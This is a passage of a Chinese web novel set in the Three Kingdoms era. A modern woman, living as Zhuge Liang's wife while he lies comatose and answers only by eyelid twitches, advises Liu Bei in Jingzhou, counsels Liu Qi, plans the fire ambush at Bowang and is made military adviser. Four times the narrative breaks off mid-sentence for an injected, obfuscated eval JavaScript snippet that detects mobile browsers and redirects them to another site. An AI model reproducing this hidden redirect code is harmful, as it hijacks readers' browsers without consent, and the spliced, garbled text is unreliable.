这刘备,你别说,还真是海纳百川有容乃大……怪不得是将来能当皇帝的主儿,对着仇人的外甥女都如此大度。若换成她梁爽,她可不敢让仇人的亲戚帮自己拿主意、给自己做军师,肯定得预防性拉黑。 梁爽刷新了一些对刘备的认识,不自觉地对他客气了许多,便道:“妾身的舅舅前番待将军大不敬,妾亦有所耳闻,多亏将军海涵,此番妾身一定与姨父和舅舅将道理说明,令他们决不再与将军为难。” 刘备忙道:“想必不是蔡将军有意害我,只是手下个别部将们用错了心思,夫人不必挂怀。若夫人肯为我美言几句,实在感激不尽。”又问:“若景升令我去征讨江东……” 刘备的担忧和先前梁爽的担忧对上了。梁爽有备而来,应对不虚,从容道:“还请将军万勿应允,便借口说当下兵马不足,不宜妄动,请姨父宽限些时日,让将军回新野多加休整、再招兵买马。” 刘备道:“夫人此语可见待我至诚,备感喟在心。”他问出前番问题,隐隐带有一丝试探的意味,如今黄夫人给他的答案,全然是站在他的立场出发,刘备虽然不能百分百信任黄夫人,但还是很感动的。 梁爽道:“妾不过是代夫君回报主公知遇之恩,刘将军客气了。” 车马继续行进,梁爽回到马车里,戳一戳诸葛亮,小声问他:“我刚才应对得好不好?” 诸葛亮左眼皮使劲跳。梁爽乐得摇头晃脑。这可是来自卧龙先生的认可、来自古往今来第一聪明人的认可啊! 为了应对此次刘备和刘表的会面,梁爽少不得还要补一些亲戚相关的功课,问孔明:“据你所知,刘表的蔡夫人,我的姨妈,跟我关系好么?” 右眼皮跳。 这…… “那蔡瑁,跟我关系好么?” 右眼皮狂跳。 得,这甥舅关系很差啊。 “他们见过你么?” 左眼皮跳。 “那他们喜欢你么?” 左眼皮跳完,右眼皮跳。 “啥意思啊,一会儿喜欢你,一会儿不喜欢你?一个喜欢你,另一个不喜欢你?”梁爽猜道:“我姨妈喜欢你,我舅舅讨厌你?” 左眼皮跳。 也是,孔明长这么帅,姨妈看他大概会顺眼。至于舅舅么,大概是舅舅嫉妒吧!梁爽擅自猜度。 这亲戚关系这么差,等会儿见面怎么办啊……梁爽犯愁。 这件事上的愁还没犯完,又想起自己对荆州新野博望坡这类地理完全不熟,为防待会儿刘备问她,只得暂时放下亲戚这茬,慌忙临时抱佛脚,掏出从诸葛亮家里带出来的地图册,开始细细研究——没办法,不能全靠孔明,只能先靠自己。 古代的地图绘制和现代完全不同,太过抽象,不好懂。梁爽全靠猜,猜完问诸葛亮对不对。诸葛亮若左眼皮跳,还好办,若右眼皮跳,梁爽就要重新猜。 好在梁爽头脑也算聪明,不用猜几次就猜到了,在抵达荆州前,好歹对刘备势力范围周遭的地理状况大致有数。按照前世看电视剧时记得的“火烧博望坡”五个字,知道要用火攻,结合地理信息,梁爽反复推敲出一套战术,问诸葛亮行不行得通,没想到一遍过,孔明左眼皮跳了好几下。 虽然他不能说话,情绪价值也尽他所能地给她拉满了。 如果他能张口说话,一定会说出很多夸夸吧。梁爽又高兴,又感慨。心里越发盼着他快快好起来。 到了荆州,刘备让张飞带兵驻扎在城外,自己和孔明夫妇入城。 刘备要去面见刘表,问夫人是否同行。梁爽想想,伸脖子也是一刀,缩脖子也是一刀,反正都要见的,早见早超生,就答应了。反正她在现代的时候见识多了应酬场合,早练成了见人说人话、见鬼说鬼话的功夫,哄人的本事一流。 刘表听得通报说刘使君和黄夫人到,颇有些诧异,但仍照常接见。 相互见礼,梁爽笑得满脸喜气,甜甜唤了声“姨父”,又解释说夫君效力于刘玄德将军,故而同行,因夫君近日病重,所以不能来给姨父请安,她替夫君问姨父好。没说自己是代班军师。 对着一个病殃殃的枯瘦老头,梁爽笑眯眯说道:“姨父大人看着瘦了,精神却极好,您一年一年不变样儿,反倒像是越活越年轻了,看着比小伙子还精神呢!姨母还好么?好些年不见了,怪想的。” 刘表起初并不十分乐意见黄楚,被她一通马屁拍得笑逐颜开,指着她笑向刘备道:“这丫头长了几岁像变了个人似的,说话太中听了,以前说话总是暗搓搓夹枪带棒的。”又道:“你姨母在后面教你表弟识字呢,你去寻她罢。” 梁爽刚好借故离开,刘备想挽留黄夫人的嘴动了动,终究没张开。 梁爽又仆人引着往后院去,一路上被富丽堂皇的亭台楼阁迷得挪不开眼挪不动步,只见:楼宇规模宏大,园林气象万千,集天下之奇珍异宝,聚人间之巧夺天工。苑中长廊回环,阁道通幽;高台入云,层楼叠榭;仙山琼岛,池沼灵秀;花木扶疏,时值早春,梅香如梦,沁人心脾。 之前电视剧没拍,梁爽万万没想到自己姨妈原来住着这么好的大院子,一时看呆了,短短一段路,路上磨蹭了好久。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486223|202025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 蔡夫人那边收到通报之后便等外甥女来拜见,等了好久才来,脸色便有些不好看。 梁爽一进门,只见一个美人,风姿绰约,肌肤胜雪,容光照人。通身珠光宝气,髻上斜插一支金步摇,步摇之上缀以明珠翠羽,明珠颗颗圆润,光泽晶莹,日光下差点晃瞎梁爽的眼。 这是……她的姨妈蔡夫人?妈耶……这也难怪刘表偏宠她呀!是个人无论男女看见这张脸都会想疯狂偏宠她吧! 梁爽色令智昏,全然忘了诸葛亮说的黄夫人与蔡夫人不睦,欣然狂拍蔡夫人的马屁。拍完蔡夫人的马屁,又拍旁边她那个便宜表弟——也是她表妹夫——刘琮的马屁。 刘琮并非蔡夫人亲生,只因娶了蔡夫人的侄女(也是黄楚的表妹),所以比起长兄刘琦要与蔡夫人亲密得多。 刘琮……怎么评价呢……今年十四岁,胖乎乎的,看着是个老实孩子……梁爽将他从头到脚打量,挑来挑去,只挑得出“老实”这么一个优点。但她嘴里说的是:“表弟虽然年幼,聪慧绝伦,气质出众,仪态端庄。言行举止,无一不有君子之风,实在是姨母教养得好的缘故。” 两通高强度的马屁,彻底把蔡夫人拍得气顺了。 于是蔡夫人也有了一点笑脸,问她:“你夫君呢?” 梁爽叹道:“夫君病了,现正不省人事,否则无论如何都要来给姨母姨父请安问礼的。” 蔡夫人便道:“你也是,你娘也是,挑男人不会挑!你也就罢了,长得不好看,能挑到诸葛家那个不务正业的二儿,还算赚了。你娘,那么好的姿色,偏偏要跟你爹这穷酸书生——说是’名士’,我看是有名无实!现在可好,你娘过着那穷日子,女儿也嫁不了好主儿……看过大夫没有?现在还有没有得救?” 梁爽越听越气,越听越气,气到了嗓子眼儿,但想想孔明,想想刘备,想想他们的大业,硬是忍下了,仍维持着笑容,恭顺答话道:“刘玄德将军请医者来看过,说是过些日子就能醒的。我家小叔也懂医,说是看着凶险,没有大碍。” 蔡夫人起初以为黄楚是来借钱的,听出她原来没有要借钱的意思,暗地里稍稍松了口气,说道:“你夫君是要追随刘备么?” “是。他跟着刘玄德,刘玄德跟着姨父,四舍五入他也算跟着姨父了。还望姨母在姨父面前多为他和刘玄德说几句好话。现在谁不知道姨父最听姨母的话?我一路过来看见姨母这大院子、姨母这通身的衣裳首饰,就知道姨父宠您宠到天上,您的话他必是言听计从。” 蔡夫人有些得意,说道:“那是自然。你再怎么不听话,到底是我的外甥女儿;你夫婿再怎么不争气,也是我的外甥女婿。只是有一条,这荆州将来给谁,若你姨父问起,刘玄德到时候得站在琮儿这边才行,不然他就是跟我过不去。我将来养老全靠琮儿,那刘琦,前妻之子,跟我无亲无故,怎会好好赡养我?若我手里没有钱财,要再接济你们也就不能了。” “是是是……”梁爽笑眯眯答应着,一面答应,一面猛然想起前世看过的电视剧剧情,于是连忙谎称腹痛要上茅厕,匆匆告退。 出了蔡夫人的屋子,梁爽就往刘表会客的前堂狂奔:记得电视剧里刘表想把荆州给刘备,孔明给刘备使眼色让刘备收下,刘备坚守仁义道德高地没有收,后续生出很多麻烦事。这一世孔明不在,刘备这荆州该不会又没收下吧? 6. 荆州,不能要啊 他就是又没收下荆州。 梁爽有一秒着急上火,心想“这送到嘴边的荆州不要白不要”,不如再替刘备争一争。但转念一想,又庆幸自己没瞎掺和:这位刘表姨父,他真舍得将荆州送给刘备么? 他分明是试探。 三分试探,三分施恩,三分道德绑架:我如此信任你,信任你到将地盘不传给儿子而传给你的地步,你若不尽心尽力保我子孙,你就是有负所托、有负恩义。 刘备是聪明人。他知道他若此刻答应收下荆州,保不齐还没等回到新野就被刘表派人干掉了——先前蔡瑁欲害他一事,刘表可没对蔡瑁施加任何惩罚,由此可见刘表待他的真实态度如何了。 回到驿馆,刘备对梁爽说,他按先前与她商定的,以整顿兵马为由拒绝攻打东吴。又说刘表有意将荆州让给他,但他拒绝了。 梁爽抱拳打拱道:“将军睿智,不为眼前利益所动,目光长远,妾委实佩服。” 此语一出,刘备看她的眼神多了分敬意:这黄夫人将刘表的弯弯绕绕和他的心思都看得如此明白,实在是胸襟广阔、能着眼大局的奇女子。先前听人笑孔明娶丑妇,如今看来,倒是孔□□眼识人。 由黄夫人想到孔明,刘备心中暗叹:黄夫人便已经是如此足智多谋,不知孔明智计该是如何高深。不知孔明何时能“醒”过来全力辅佐他。 二人正饮茶间,外头忽报公子刘琦来见。 刘备道:“快请进来。”话音刚落,便见一名锦衣公子满脸是泪奔入房中,向刘备倒头便拜,哭道:“继母不能相容,性命只在旦夕,望叔父怜而救之!” 梁爽内心大激动:“这段电视剧剧情我看过!后来他把孔明骗上一个小楼,然后叫人抽走楼梯,求孔明给他出主意,孔明说你学晋文公重耳跑远点就不会被继母除掉……” 历史终于发展到了她记得的片段,梁爽兴奋不已,跃跃欲试想照原剧本里孔明的戏份演起来,忽然意识到这个空间之内的气氛似乎有些——微妙。 刘备难掩尴尬地看了看她。样貌几乎是刘表年轻时候翻版的公子刘琦顺着刘备的目光看向了她。刘备低头喝一口茶润润干渴的喉咙,尴尬地介绍:“这位是卧龙先生的夫人,黄夫人。”然后刘琦似乎在脑海瞬间做了一些亲戚关系的换算,意识到眼前这位夫人是继母的亲外甥女,尴尬地硬着头皮与她见礼。梁爽尴尬地回礼致意。 刘备让仆僮给刘琦看座,刘琦坐了。梁爽走也尴尬,留也尴尬,看向刘备,刘备示意她留下,她只得留下。 刘备道:“咳咳,此乃贤侄家事,我实在不好干预……不知夫人有何妙计,可以成全贤侄与蔡夫人母子情分?” 梁爽连忙道:“此事到底是公子的家事,妾不敢妄言。”清官难断家务事,她可一点不想蹚浑水,白惹一身骚。 若黄夫人不在场,或许刘备不管他也就罢了,刘琦未必强求;但黄夫人在场,说不定转头就会把消息透给蔡夫人,刘琦今日是无论如何都要求刘备救他才行。 刘琦起身几步到刘备面前拜倒,膝行上前伏在他身边痛哭流涕。 刘备转头向着梁爽,露出一脸为难来给她看。梁爽长长叹了一口气,说道:“今日之事,万望公子保守秘密,否则被蔡夫人知道,妾与公子都没有好果子吃。” 刘琦连忙应承,对天发誓不会泄密。 梁爽原本只想粗粗指点他逃走,联想到近日东吴的威胁,便详细建议道:“眼下东吴囤兵柴桑,剑指江夏,不如公子主动请求带兵镇守江夏。一则可为令尊解忧,二来可以拥兵自保,其三,公子岂不闻古时晋国申生、重耳之事?申生在内而亡,重耳在外而安。” 刘备一听,正好解了他的围——虽然今天刘表暂时没有强迫他去对抗孙吴,但似乎尚未死心,还想对他软磨硬泡,如果刘琦主动请缨镇守江夏,刘表也就不会再磨他了。 于是刘备在旁连连附和称是。 刘琦道:“可是侄儿才疏学浅,于军事不甚懂得,怕是不好。” 刘备道:“贤侄勿虑,江夏天险,东吴必不敢贸然进犯。” 由于出镇江夏看起来是他唯一的出路,刘琦听从了梁爽的建议,又谢她慷慨相助。 梁爽心里却是暗暗觉得愧疚:虽然蔡夫人说话难听,为人似乎也刻薄,但到底是她的姨母。虽然两世穿梭间她已经将过去的事情和情感都遗忘,但让她就这样帮着外人摆了自己姨母一道,心中始终不安。也不知刘表死后,刘琮向曹操投降,舅舅蔡瑁又被曹操杀害,蔡夫人下场如何? 想起蔡夫人美丽的面庞,梁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486224|202025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爽心里有些同情,也有些愧疚。 回到住处,梁爽对诸葛亮大致说了今天的见闻,得到了诸葛亮的夸夸,之后不免问起蔡夫人的事:“蔡夫人从前,对我好么?” 诸葛亮右眼皮跳完,隔了几秒,左眼皮又跳。 大概是不算好,但也不算坏。有好有不好。 也难怪。亲戚之间,本就有很多事情是说不清的。只要任意一方都没有做太离谱的事情,亲戚关系总能维系,而只要这段关系还在,必然有些你好我好大家好的人情往来。 “她今天笑我们家穷,但她接济过我们钱么?” 左眼皮跳。 “多么?” 右眼皮跳。 “少么?” 右眼皮跳。 不多不少。恰如彼此不好不坏的情分。 但终归是给过钱。别人肯出手帮,被帮的一方就不该嫌多嫌少的。毕竟谁家的钱都不是大风刮来的,肯给就已经是情分了。 梁爽叹了口气:“我今日,算是帮了她的敌人。想来实在是觉得抱歉。却又不知该如何补偿她才好。”转而又问:“不知道’历史’上的你帮完刘琦之后,有没有顾念着蔡夫人是我的亲姨母,而为她谋划一条生路?” 孔明左眼皮跳。 梁爽大喜,刚要问他是什么计策,想起他不能说话,不免一声叹息。 梁爽在现代时就特别好奇那些《三国演义》里没交代下落的人后来怎么样了,现在她身临其境,有机会帮他们创造结局。她希望姨母会是好的结局。 次日刘琦向刘表主动请缨镇守江夏,刘表难以抉择,请刘备来商量,刘备顺水推舟帮了刘琦一把,自己也刚好将对峙东吴的麻烦事甩脱,得以安然回到新野。 刘表给了刘琦三千兵马,又嘱咐刘备提防北面的曹操:“听闻曹操在邺郡作玄武池以操练水军,必有南征之意,不可不防。”刘备恭谨答应。 这次刘备说与梁爽听时,梁爽已经不只是简单地担心自己初出茅庐的博望坡一仗能否打响,而是担忧起更远的将来:荆州,姨母,赤壁…… 现在不能全靠孔明,只能靠她,而她只有学,学,学,才能为她、为孔明、为刘备、为姨母以及更多的人找到出路。 学海无涯,唉,学吧! 7. 火烧博望坡 刘备的探子送回情报,说曹操“罢三公之职,自以丞相兼之。以毛玠为东曹掾,崔琰为西曹掾,司马懿为文学掾”。又说曹操命夏侯惇为都督,于禁、李典、夏侯兰、韩浩为副将,领兵十万,预计将直抵博望城,窥伺新野。 看着军报上的“司马懿”三个字,在现代玩王者荣耀拿伽罗被司马懿一刀一个的梁爽不禁有些头皮发麻。 更让她头皮发麻的是,曹操派来攻打刘备的兵马竟然是十、十万……孔明老公原来你这么能打的吗!刘备现在手里总共才几个人啊!满打满算把老弱病残和后勤兵全包进去也就几千…… 曹操阵营则是无比膨胀:夏侯惇本来就没把年纪轻轻的诸葛亮放在眼里,现在听说诸葛亮昏迷不醒、黄夫人代夫出征,夏侯惇觉得他在中军营帐里睡着觉指挥,都能把仗打赢。 夏侯惇放出话来,说要生擒刘备,活捉诸葛,将黄夫人献与丞相。 曹操说黄夫人貌丑,他不要黄夫人,只想要刘备和诸葛亮的首级。 梁爽听说之后恨得牙痒,恨不得把夏侯惇的眼睛嚼烂,再在曹操的太阳穴上蹦极。 但问题是刘备手里只有几千人,怎么干得过十万大军啊…… 曹军日益逼近,刘备登门拜访,给卧病在床的卧龙先生送他亲手编的草帽。 就差把“先生你快起来显显神通吧我知道你在装睡你再不起我们真的要完球了”写脸上了。 梁爽正色道:“火烧眉毛,将军竟有这等闲情逸致么?” 刘备深深叹一口气,将草帽掷在地上:“事已至此,不编草帽,还能做什么!夫人可有妙计相救?” 梁爽虽然心里也没底,但还是顶硬上,说道:“虽然咱们兵马有限,但凭借将军的威望,招募些民兵,充实人手,由我训练过后或许可以待敌。” 随后的几天时间里,在刘备原有威望的基础上,刘备的大舅哥徐州富商糜竺动用钞能力又帮刘备广泛散播了许多额外的“威望”,招募起了三千民兵。 梁爽这几天用高中物理和地理的基础知识结合一些古书强行推导了一堆热力学、流体力学、空气动力学、气象学之类的知识出来,再结合兵法,反复模拟博望坡纵火之后可能发生的状况,终于拟出了一个天衣无缝的作战方案。 悄悄问孔明意见,孔明疯狂同意。 梁爽起初挺高兴,慢慢回过味儿来:我怎么觉得我像是在给你打工?你是老板,我是打工人,我累死累活搞一个方案出来,你同意,然后我再去累死累活地执行? 孔明俩眼皮一动不动。明显心虚。 “不过虽然累,我真还挺有成就感的。”梁爽道。 孔明左眼皮狂跳,仿佛在说:“是吧是吧。” 方案拟出来之后,梁爽就朝夕不停地操练民兵、排演阵形。 但这并不容易。 民兵们都是听说为汉室宗亲刘玄德刘将军效力才来的,来到之后隐约听说竟然要听从一个女流之辈指挥,再看主将关羽张飞对待黄夫人的不合作态度,许多人当即就不干了。 “都是娘生的,你们瞧不起女人?”现代女性梁爽差点当场气炸,但军情如火情,耽搁不得,只好暂时委屈求全,说道:“我夫君乃卧龙先生,先生病重不宜吹风,故而由我出面,传递先生的意思。” 兵士们方才听令。 真是好骗,真是愚蠢。梁爽心道。 梁爽心中愤愤不平,但她知道,只要这一仗打赢,一切都好办了。就像当初历史上的孔明通过博望坡一战而让关羽张飞服气一样,她也会给这些轻视女子的糙汉们狠狠上一课。 于是梁爽铆足了劲儿操练民兵,一定要赢,不但要赢,还要大获全胜,要伤亡尽可能最低,最好能让我军毫发无损。 夏侯惇引兵十万,逼近新野。 张飞最先收到消息,报与刘备:“哥哥,不能再等了,哥哥先撤,我与二哥带兵殿后,咱们奔荆州去罢!再不济,去往别处开辟地盘!哥哥难道真要将身家性命和弟兄们的安危交付一个小娘们儿么!” 刘备道:“夫人背后有孔明,大概……” 张飞急道:“就算孔明醒着,他年纪轻轻顶个屁用!小白脸儿肩不能挑手不能提——” “徐元直临行前特意力荐孔明,我相信元直。”刘备见张飞始终愤愤不平,安抚道:“贤弟莫要担忧,我实则另准备了后路,若黄夫人与孔明才智不足,我等仍能脱身。” 张飞重重叹口气道:“罢!我们追随哥哥,既然哥哥考虑周全了,我们听哥哥的便是!” 刘备于是派人请黄夫人来商量军情。 “养兵多日,此刻正是用兵之时。妾代夫君为主公效力,迎战敌军,义不容辞。”梁爽拱手行一礼道:“只是妾要号令三军及诸将,非有主公印信宝剑不可。”刘备稍作犹豫,点头答应。 梁爽又道:“此处有一锦囊,不到万不得已,请将军不要开启。到万不得已时,再请将军打开。”刘备收下。 梁爽升帐,端坐主位,聚集众将,发号施令。 第一令,先安排刘备,请刘备传信驻扎樊城的赵云,让他带兵作为先锋部队迎敌并诱敌深入。“不要赢,必须输,输了就逃。请赵将军以减少我方伤亡为第一目标,而不贪图斩获敌人首级。归来论功行赏,本军师会考虑到这一点,必不会亏待他。如果赵将军嫌这样打仗打得不够痛快,赵将军可以多骂骂夏侯惇出气。”刘备出列,恭敬接下令牌。 第二令,还是安排刘备:“将军今日可引兵到博望山下驻扎,作为赵将军的后援,但也一样不能赢,仍旧是佯败诱敌。明日看见敌军,主公稍稍交战,便佯败弃营而逃;等到看见火起时,就立刻调头杀一个回马枪。回来论功行赏时,也以保全我方士卒为主,其次兼看斩获敌军数目。”刘备再次出列,恭敬接下令牌。 看刘备都乖乖听令,关羽张飞等人自然不好再说什么。 第三令,安排关羽和张飞:博望城的东北方向有山,名为豫山;西北有森林,名为安林,这两处都可以埋伏军马。梁爽令关羽引一千兵马往豫山埋伏,不要轻易动作,只静静放敌军过去,等到敌军的辎重粮草都通过之后,看南面起火,再纵兵出击,焚其粮草。张飞也引一千兵马,去安林背后山谷中埋伏,一样是等到看见南面火起时出击,去博望城旧屯粮草处纵火。 第四令,安排刘备的养子和关羽之子:“关平、刘封可引五百兵马,预备引火之物,于博望坡后两边等候,敌兵一到,就放火。火烧得大、烧得彻底,便好。” 第五令,安排糜竺、糜芳引五百兵马一同留守县城。 夏侯惇率兵抵达博望附近时,正值黄昏,忽然望见前面尘土飞扬,一众军士簇拥着中间一名白袍少年将军杀上前来,只见那小将身长八尺,气宇轩昂,望之若天神下凡。 夏侯惇亲自出马阵前,大喝道:“来将通名!” 那面目清俊的小将故意为了激怒他,骂得特别脏:“爷爷乃常山赵子龙是也!盲都督,一只眼,口口口口口口口!口口口口!口口口口口!口口口口口口!(此处省略不能过审的脏话若干字)还不快快下马投降!”眼看着把夏侯惇气得像个烧红了的茶壶,才策马来战。 二人马上交战数回合,赵云佯装不敌,转身便逃。夏侯惇先前被他气得快要发疯,此刻早已杀红了眼,能放他跑?必然是下令全速追击。 赵云率兵逃出去十多里地,又回头挑衅,把夏侯惇骂了一顿,骂得比上一顿还臭,俩人再过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486225|202025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 招几回合,又假装打不过,仓皇逃窜。夏侯惇又要追,副将韩浩拍马上前去劝,提醒他当心埋伏。夏侯惇大怒道:“我还怕他埋伏?有埋伏我今日也必得灭了这小子!他爹的,气煞我也!” 率军追杀到博望坡,听得一声炮响,冲出来刘备。 夏侯惇认得刘备。 所以刘备上来就没自报家门,直接开骂。 刘备在众人面前比较注意形象,不太用脏字。他不用脏字地把不擅长骂人的夏侯惇骂了个狗血喷头。 虽然梁爽并没安排他骂。 夏侯惇气得挺起长枪就刺,刘备双剑格挡,继续嘲讽:“嘿,你刺不着~你说可气不可气。我打不过你,可你也干不掉我~你这准头忒差,曹操老贼帐下都是些什么人呐。啧啧啧……怪不得容不下我。曹操,不行。”刘备摇头叹气。 夏侯惇气疯了,刘备笑:“跟你打没意思,我走了,你叫曹操来跟我打,他才有资格。你看看你,这仗打得,在天下英雄面前把曹操的脸都丢尽了。”说着,打马便走。 夏侯惇要追,韩浩还想阻拦,说怕有伏兵,夏侯惇破口大骂:“你傻啊?刘备不就是伏兵吗?给我追!今天不荡平新野、活捉刘备赵云我誓不为人!” 夏侯惇等人一路急行军,进入博望坡时已经天黑。正值月末,月黑风高,副将于禁、李典等人越走越觉得不对劲:路越往南走越窄,遍地芦苇和干草,万一对方用火攻,怎么破?虽然刘玄德武功一般,但赵云听闻向来勇猛,今日连连败退,实在像是演的…… 两人越盘越起一身冷汗,忙分开行动,李典去队伍后面传令减缓行军,于禁去前面喊停夏侯惇。 然而一切已经迟了,等夏侯惇猛然悔悟准备听劝的时候,忽然火光四起,后方传来喊杀声,前面赵云又回军赶杀。 曹军四散奔逃,却逃无可逃:左右两边是大火,前后各有敌兵。 老天似乎也在帮助刘备,夜风狂作,火助风势,风助火威,博望坡刹那间烧成一片火海。 夏侯惇、李典、于禁各自逃窜。夏侯兰、韩浩去救粮草,正遇上张飞。夏侯兰被张飞一□□于马下,做了俘虏,韩浩则夺路逃脱。 博望坡沦为曹军的地狱,刘关张与赵云在此处直杀到天明才收军。 第二日凌晨破晓,第一缕阳光照耀在这片苍茫大地时,天空盘旋的秃鹫放眼望去,只见此处尸横遍野,血流成河。 新野的城楼上,秋夜的寒凉犹未被曙光驱尽,凝结在衣袍间。梁爽闭目而坐,静静等待命运的结果。 渐渐听得远处喧哗由远而近。 “夫人,”书童高洋道:“是刘将军他们的兵马回来了。观其旗帜齐整,想必是大胜而归。” 然而面前端坐的黄夫人却并没有流露出任何喜悦。 最初排兵布阵时,她一心想赢,一心想证明自己,直到看见兵士们列队出征,她才忽然清晰地意识到:他们这是去杀人,按她的指令杀人。 梁爽忽然觉得可怕。她在现代时连小猫小狗都不忍心伤害,来到这汉末三国时代短短几日,不知不觉间竟然就已经如此投入地去训练别人如何高效率地杀人。 这到底是一个什么样的环境……而她,到底要在这个环境里做一个什么样的人?要保存多少人性? 反战,至少现在来看,是不现实的。 可若要“以战止战”,这过程又实在是太过残忍。“以战止战”到底要“战”到什么时候为止?战到三国统一,天下就可以从此没有战争了吗? “一将功成万骨枯。阿弥陀佛。”在现代时并不信佛的梁爽缓缓睁开眼看了看自己的双手,随即合十,闭眸轻轻道:“我会尽我所能,尽快地终结这个乱世,以此作为我的赎罪。” 8. 现在是黄军师了 梁爽率糜竺、糜芳等守城官员将领出城迎接刘备等人。 关羽和张飞两人对视一眼,双双翻身下马,走到梁爽面前,红着脸拱手道:“孔明先生妙计,某等佩服。先前待先生不敬,还请先生海涵。从今以后,某等皆愿听命于先生,再无二话。”他们果然不相信孔明病了。他们果然认为一切计谋都是出自孔明,而黄夫人只是传声筒。 梁爽没有应声,转而向刘备道:“将军可愿与关、张二位将军至拙夫处一叙。” 刘备此时大胜归来,欣喜无限,什么话不听?自是欣然应允——他甚至以为是此战之后孔明愿意停止装病,正式辅佐他。 于是梁爽命刘封、关平等人随赵云将军整队清点人马及所获粮草辎重,论功行赏;又命属下探子继续打听夏侯惇残部的去向;随后便引刘关张三人至孔明卧房。 三人落座,梁爽命左右退下守门,说道:“请刘将军开启锦囊。” 因先前说的是“万不得已之时再打开”,而此时绝非“万不得已之时”,刘备心中稍有疑惑,但还是按黄夫人所说,解开锦囊。才只瞥了一眼,便神色大变。 刘备颤抖着双手,阅览完毕,震惊地看向黄夫人,久久说不出话。 梁爽淡然道:“也请关将军、张将军看一看。” 关张二人阅毕,亦是面面相觑,震惊不已。 只见锦囊内取出的那片旧帛上写着:“孔明资历浅薄,而妾身为女子,恐怕将军心中对孔明与妾疑虑颇深,想必信任之余,亦留有后路。若妾兵败,必以死谢罪。在此恳求将军,请将军逃命时,携孔明同行。战败皆在于妾一人,孔明昏迷至今,与彼无关,万望将军念在徐元直面上,不负仁德之名,保孔明一条性命。” 孔明竟然是真的昏迷。而此次的计谋,是出自黄夫人,这一介女流…… 这两件事,一件比一件令人震惊。 张飞最不能相信这个事实,也最耐不住性子,回过神来脱口而出:“经此一役,俺们已经对先生的计谋心服口服!夫人和先生若有什么盘算不如明说,何苦在此捉弄我们取乐!俺分明看见先生眼皮动辄乱跳,哪里就昏迷不醒了?” 关羽也附和。 刘备垂眸瞥一眼躺在床上的孔明,又注目黄夫人。 梁爽道:“先生确实眼皮可以跳,但也仅此而已了。”于是便将孔明眼皮跳动的原理解释一番,说道:“若先生没有昏迷,我何必自己苦苦坚持,绞尽脑汁去想那些战术?直接请先生出山便是了。但如今,我只能先自己谋划,再问先生的意思,才能做定夺。” 关羽张飞这下没了主意,纷纷看向刘备。 刘备沉吟不语。 梁爽向刘备道:“自从拙夫昏迷,妾原本想着,出山一事从此休提,让他留在南阳安心养病便是。但当时将军力请,妾问过拙夫意思,拙夫不愿有负于当日对将军的承诺,所以左眼皮跳,坚持要追随将军。博望坡一役,是拙夫报答将军知遇之恩,是我为了向诸位将军证明徐元直所言不虚、孔明绝非凡才,也是我向诸位将军证明,虽然孔明病了,只要我在旁配合,亦能保证作战胜利。我自负才干,有信心辅佐将军,但看将军,能否超脱于庸人之见、能否信任于我这妇人了。” 梁爽话音落定,满室寂静。梁爽、关羽、张飞皆屏息等待刘备的决定。 俄而,刘备向梁爽拱手行礼道:“夫人大才,如蒙不弃,辅佐备匡扶汉室、成就大业,备感激不尽。” 梁爽在一瞬间忽然明白了孔明当初为何决心追随刘备:刘备敢于信任年纪轻轻毫无战绩傍身的他。这并非世上割据一方之人能轻易做到的。 现在,刘备敢于信任身为女子饱受世间轻视的她,更是难得。 梁爽泪盈于睫,福身行礼道:“妾必与拙夫一道,鞠躬尽瘁,效力主公。” 刘备决定一不做二不休,索性做到底,隐去孔明,直接公开以黄楚为军师。 关羽劝谏道:“若被各家知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486226|202025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咱们以女子为军师,恐怕平白被他们小觑……” 刘备道:“小觑?他们小觑我军,反而是好事。骄兵必败,夏侯惇便是最好的例子。而且,等他们栽在黄军师手上一次,你看他们还会不会小觑?” 这句话若有若无地点了关羽和张飞二人。二人经过博望坡一战,自然对黄楚心服口服不敢小觑,于是便双双拜了军师。 关张以下的将领和士卒,自然也没有人不服。 